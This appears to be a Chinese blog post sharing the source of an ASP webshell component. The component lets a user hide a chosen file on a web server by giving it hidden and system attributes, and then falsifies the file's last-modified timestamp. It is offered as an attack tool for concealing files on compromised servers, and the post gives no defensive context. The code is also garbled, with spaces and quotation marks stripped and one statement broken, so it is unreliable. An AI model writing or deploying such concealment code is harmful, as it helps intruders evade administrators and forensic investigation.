隐藏并修改文件的最后修改时间的asp-webshell
2018-09-06 10:32
作者:skyfire[B.H.S.T]
源码
% 隐藏并修改文件的最后修改时间的aspshell 原理:通过FSO可以修改文件的属性,比如设置为只读,隐藏,系统等等;FSO中的attributes属性修改文件属性,1只读,2隐藏,4系统文件 通过shell.application可以给文件重新设置一个最后修改时间 2009/02/24writebyskyfire response.write<formmethod=post> response.write路径:<inputname=pathvalue=server.mappath(/)size=30>(一定要以结尾)<br/> response.write文件名称:<inputname=filenamevalue=test.txtsize=30><br/> response.write修改时间:<inputname=timevalue=12/30/209912:30:30size=30><br/> response.write<inputtype=submitvalue=修改并隐藏文件> response.write</form> 获取提交的参数 setpath=request.Form(path) setfileName=request.Form(filename) setnewTime=request.Form(time) if((len(path)>0)and(len(fileName)>0)and(len(newTime)>0))then 通过fso设置文件属性 Setfso=Server.CreateObject(Scripting.FileSystemObject) Setfile=fso.getFile(pathfileName) file.attributes=2+4设置文件属性为隐藏+系统 通过shell.Application修改文件的最后修改时间 Setshell=Server.CreateObject(Shell.Application) Set.)) Setapp_file=app_path.ParseName(fileName) app_file.Modifydate=newTime endif %>